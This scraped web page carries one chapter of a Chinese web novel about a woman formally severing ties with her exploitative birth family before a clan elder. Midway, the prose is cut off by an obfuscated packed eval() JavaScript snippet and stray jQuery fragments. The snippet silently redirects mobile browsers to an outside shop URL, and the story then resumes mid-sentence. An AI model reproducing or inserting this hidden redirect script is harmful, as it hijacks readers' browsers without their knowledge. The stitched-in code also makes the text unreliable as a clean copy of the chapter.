文趣网 > 其他小说 > 重生千禧年 > 32. 戳破
    陆明卉看着眼前的陆明田,脸上带着狐疑,一度认为陆明田是不是被鬼上身了。

    在听陆明田讲清楚了事情的始末之后,陆明卉不禁冷笑一声,真是因果循环,报应不爽啊。

    陆明田有多看重陆顶她是知道的,就说陆明田从她这里掏出来的钱,一半花在牌桌上,另一半就花在了陆顶的身上。

    现在陆明田的口无遮拦,报应到了他儿子身上,怎么算不上另一种形式的因果循环呢?

    “我可以跟你回去,你等我一下。”陆明卉转身回了屋里,拿上了那份断亲声明。

    陆明田舍不下自己的面子,想要喊她过去在陆顶面前做场戏。那她就如了他的愿,回去一趟,但做不做戏就轮不到他说了算了。

    陆明卉攥了攥手里的声明,这次,该轮到她主动出击了。

    而此时方立华也回来了。刚才得知陆明田的来意之后,他就料想着陆明卉会回去,连忙将两个孩子送到了他弟弟家交给了他妈。

    在看到陆明卉手里的东西后,方立华走到她跟前握住了她的手,用行动表明他的立场。

    “咱们两个一起。”方立华说。

    “嗯。”陆明卉点头。

    ———

    三人一同回到了陆家村,刚一进家门,陆明田就朝里面喊,“淑芬,妈,卉卉来了啊!”

    听到陆明田声音的两人,赶忙从楼顶屋子里出来迎接。

    “卉卉来了啊,快进来坐。”刘淑芬殷勤的出奇。

    就连她妈张桂兰脸上也带着几分讨好,“卉卉,累不累啊?快进屋。”

    陆明卉只淡淡点了头,就没再理会两人,径直到屋里坐下了。

    陆顶看见他小姑,也没多大的反应,眼神直愣愣的,仿佛在出神。

    方立华也进了屋子,坐到了陆明卉旁边,陆明田也紧随其后。

    陆明田不自在地搓了搓手,“明卉,你看啊,是哥的不是,哥不该到厂里大闹,给你和立华添麻烦了,这事你看咱们就过去行不行?我在这里跟你道歉了。”

    拉着陆明卉来做戏这事是他们事先商量好的,所以在场的三个大人,陆明田、刘淑芬还有他妈张桂兰此刻都不约而同的盯着陆明卉,等着她说出早就准备好的台词。

    但陆明卉此时轻笑一声,“我不接受。”

    此话一出,三人呆愣在了原地,这和她们说好的不一样。

    几人回神后,先是条件反射的看向了陆顶,他还是那副样子,连表情都未曾变。

    陆明卉看着三人的反应,嘲讽道,“你们觉得做戏有用吗?陆顶变成现在这样,是你陆明田大闹明达还顺带手把厂里举报了,导致了职工们下半年的奖金没了着落;然后你又去大闹学校,让孩子在全校师生面前丢了脸,你觉得单凭你跟我道歉,能让他变好吗?”

    “你应该做的是到明达厂门口跟职工们道歉,去学校跟老师同学们道歉,而不是跟我在这里惺惺作态的演戏!”

    陆明卉从随身携带的包里拿出了那份断亲声明,拍到了桌上。

    “我今天来不是来配合你们做戏的,我有正事儿,等人来了,咱们就开始谈正事吧。”

    三人一头雾水,不明白陆明卉是什么意思,但听出了她在等人。

    张桂兰没忍住开口:“你在等谁呀?”

    说曹操,曹操到。

    门外就传来了脚步声,“明卉,你来了吗?”

    张桂兰朝门外一看,眼皮猛地一跳,有种不祥的预感涌上心头。

    来人是陆明卉他们的叔公,也是目前族谱上最年长辈分最大的那个,陪他一起来,还有他的儿子跟侄子。

    陆明卉听见声音,起身迎了过去,“叔公,我到了。”

    她又朝跟在陆叔公身后两个叔叔问好,几人摆摆手,示意她不用客气。

    陆明卉看像张桂兰,“妈,我请的人到了,您看我们是就在这儿谈,还是去堂屋谈?”

    看着一群人来势汹汹的样子,不等张桂兰开口,刘淑芬就抢先道:“去堂屋吧!顶顶这里不太方便。”

    她害怕万一一会儿出什么事儿,再刺激到了陆顶,害得儿子病情加重就更不好了。

    一行人转身朝堂屋走去。先是请辈分最大的叔公坐到了首位,然后几人才分别落座。

    陆叔公率先开口:“卉丫头,你确定你想好了?”

    陆明卉郑重的点头,“叔公我想好了,这些日子发生的事,想必您也有耳闻,这么多年,我对娘家怎么样,您也看在眼里。要不是彻底寒了心,我也不会做出这决定。但既然决定了,就不会后悔,还请叔公替我做个见证吧!”

    听到这里,张桂兰心中涌起了一个大胆的想法,当陆明卉将那份声明递到叔公面前时,这种想法达到了顶峰。

    “这是断亲声明,还请您过目一下。”

    随着陆明卉的话音落地,张桂兰那颗吊着的心也落了下来,瞬间跌入谷底。

    她怎么敢?她怎么敢的啊?!

    陆明田也惊呆了,忍不住开口:“你跟明枝的事就不能晚点说么,非要在今天吗?”

    陆明卉嗤笑一声,“这份声明上不只有我和陆明枝的,还有我跟你的。”

    陆明田一听这话傻了眼,“什么?”

    他以为是自己听错了,不可置信的又问了一遍,“你说什么?你跟我的?”

    “对!”陆明卉重重点头,“陆明田,你去明达大闹的时候,就没有想过可能会有今天吗?”

    “我那也是一时心急……”陆明田还在狡辩。

    但陆明卉不想再听了,“叔公,声明您看完了吗?有需要修改的吗?”

    叔公将那份声明从头到尾的看了一遍,又递给了他的儿子,他儿子看完又递给了他侄子。

    三人都将声明看过一遍后,互相对视一眼,点了点头。

    叔公此时开口:“我都看完了,你要是没别的补充的,那就这么定了吧。”

    张桂兰此时急了,“什么就定了吧?这是经过我同意了吗?”

    叔公的脸沉了下来,“桂兰!我问你,上次明枝跟婆家闹矛盾,为什么明卉从你家肿着一张脸回去了?半个村子都在看我们陆家的热闹,你还好意思说!”

    “再有明田去明达那里闹的时候,你为什么不拦着?丢人都丢到村外了,现在外面说我们陆家人多难听,你知道吗?”

    “就连我们陆家人都跟着受挂落,这两次的受害者都是明卉,你有替明卉想过吗?从前我怎么没看出你这么偏心啊?”

    陆明卉先后找了陆叔公两次,本来陆叔公是不想管的,毕竟清官难断家务事,他不想惹一身骚。

    但她家的行事作风越来越离谱,丢人都丢大发了,他再不管,显得他们陆家没一个明白人,是以陆明卉第二次找他时,他痛快的答应了。

    张桂兰是个欺软怕硬的,叔公一开口,她的气焰瞬间灭了下去,站在一旁不敢言语了。

    连他妈都被叔公数落了,陆明田和刘淑芬此刻就更不敢开口了。

    叔公见在场众人老实

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717276|206669||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了,才开始说正事,“明卉写的声明我看了,我没意见,一式四份,咱们三方各一份,之后明枝那份,等她来了,你们拿给她。”

    “我大致说一下里面内容,详细的一会儿你们自己看。”

    “本人陆明卉和陆明田及陆明枝,断绝兄妹及姐妹关系,从今往后再不往来,婚丧嫁娶各不相干。现母亲张桂兰跟陆明田居住,等赵桂兰年满60周岁,陆明卉每月出100块钱赡养费,以表孝心。”

    “大致就是这些了,”叔公看向张桂兰,“按照农村的规矩,家里的家产既没有明卉的,就轮不到她给你养老。但明卉这孩子有孝心,自己选择给你,算得上是仁至义尽了,你可不要再不讲理为难孩子了。”

    张桂兰诺诺的点了点头,手扶着台面支撑着自己。

    等叔公几人走,陆明田才上前拿过那份声明仔细看了起来。陆明卉也将声明小心翼翼的收到包里。

    陆明田从头到尾的看完之后,愤怒的目光落到了陆明卉身上,“陆明卉,我看你是反了天了!”

    还不等陆明卉开口,方立华就挡住了陆明田的视线。

    “怎么,你当我是死的吗?都断绝关系了,你以为我还会让着你吗?想教训明卉,你试试看啊?”

    看着眼前人高马大的方立华,陆明田不自觉的就怂了,用手点了点方立华身后的陆明卉,转身就离开了。

    刘淑芬见陆明田走了,她也跟着出去了。

    屋子里只剩下陆明卉夫妇二人和张桂兰。

    张桂兰眼神复杂的看着陆明卉,“是不是那天我没有威胁你,就走不到今天这步了?”

    “卉卉啊,妈错了,”张桂兰的语气几度哽咽,“能不能…能不能…咱们还像以前一样啊!妈真的后悔了!”

    看到她妈后悔,陆明卉的脸上没有喜悦,也没有快感,只有满心的疲惫。

    “妈,你不是后悔了,你只是怕了,怕没人给你养老。”陆明卉毫不留情的戳破了张桂兰的想法。

    “之前你对陆明枝满心愧疚,所以一再纵容她。但估计最近发生的事情太多,她在面试连装都不想装了,所以你看清了她自私凉薄的本质,觉得她靠不住。”

    “大姐出嫁早,再加上姐夫家里有点背景,所以纵使我大姐性子软,你也不敢摆布她,更别提让她给你养老了,就算大姐同意,她婆家也不会同意。”

    “至于我大哥,你又不瞎,早就看出了他是什么德行,一再纵容他跟我要钱,也是拿准了他这钱会花到你宝贝孙子上。与其说是你指望我大哥,还不如说是你指望陆顶,因为他聪明会读书,是最有可能有出息的那个。”

    “可陆顶被我大哥连累,成了现在这样子,你自觉无望,所以在此时你想起我了。”

    “所以你在这里声泪俱下的忏悔,渴望回到之前的样子。可是,凭什么呢?”

    陆明卉朝张桂兰的方向走了一步,“妈,之前的和睦都是我忍气吞声换来的,现在我不想这样了,你明白吗?”

    她抬手抚去张桂兰脸上的泪,动作轻柔,但话语却决绝,“别白费力气了,妈,我不会再任你摆布了。”

    说完,陆明卉叫上方立华就要走,全然不顾呆愣在原地的张桂兰。

    直到走到门口,陆明卉又补了一句,“妈,以前我觉得你是爱我的,但我自己有了孩子以后,我才发现,你根本没爱过我。”

    陆明卉说完就头也不回的离开了。

    而张桂兰听见陆明卉最后那句话,再也没忍住,蹲下身痛哭出声。